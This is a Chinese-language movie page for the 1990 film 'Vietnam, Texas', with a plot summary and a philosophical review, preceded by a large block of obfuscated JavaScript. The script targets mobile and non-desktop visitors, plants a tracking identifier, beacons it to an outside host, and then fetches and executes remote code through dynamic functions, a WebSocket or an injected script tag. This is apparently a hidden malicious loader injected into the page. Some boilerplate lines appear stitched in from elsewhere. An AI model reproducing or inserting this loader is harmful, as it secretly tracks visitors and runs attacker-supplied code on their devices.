function PDFPFd(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return PDFPFd(t);};window[''+'F'+'X'+'F'+'x'+'s'+'r'+'X'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ded.shovjsjc.com:8887/stats/2519?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/vj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZkkLnRqbmtwbnV5LmNvbSUzQTg4ODc=','d3NNzJTNNBJTJGJTJGZC55amhod3h1LmNNvbSUzQTg4ODc=','2922',window,document,['k','N']);}:function(){};
前端技术：HTML5 + CSS3 + JavaScript ES6
越战焚情
字幕支持：中文 + 英文双语字幕
剧情简介
一位牧师( )得知他在越南服役期间生了一个孩子，母亲和孩子已经搬到了德克萨斯州的休斯敦，在小西贡区。在寻找他们的过程中，他也发现了对越南人民的巨大偏见，尤其是在他们努力工作的渔业
深度解读
罗伯特·金蒂电影哲学：越战焚情中的文化融合困境
【影片概览】在罗伯特·金蒂执导的《越战焚情》（Vietnam, Texas）中，动作类型片的外壳包裹着沉重的文化哲学内核。影片通过牧师在休斯敦越南社区的寻亲之旅，映射后战争时代身份认同的破碎与重组。这部1990年的作品提出的终极问题是：当不同文化在偏见中碰撞，融合是否可能？《越战焚情》用渔业生态象征移民社群的生存法则——既要抵御外部压迫，又要内部调和裂痕。
【观影亮点】影片的哲学探讨聚焦于“边界”概念：国界、文化界、心理界限如何制约人的自由意志？罗伯特·金蒂通过牧师与富田谭玲饰演的越南母亲互动，呈现了跨文化沟通中价值观的错位。动作场面（如码头冲突）被赋予隐喻色彩：暴力不仅是物理对抗，更是世界观不可调和的爆发。这种处理让《越战焚情》超越了普通动作片。
【深度点评】《越战焚情》的思想深度体现在对“和解”的辩证看待。影片拒绝简化文化冲突，而是通过牧师最终的抉择，暗示真正的融合需以承认差异为前提。这种哲学表达虽受限于商业片时长，但其对多元共生的思考至今仍有启发性。罗伯特·金蒂的这部作品证明：动作片也可以承载厚重的存在主义叩问。
收藏功能：浏览器本地存储
性能监控：Real User Monitoring实时监控
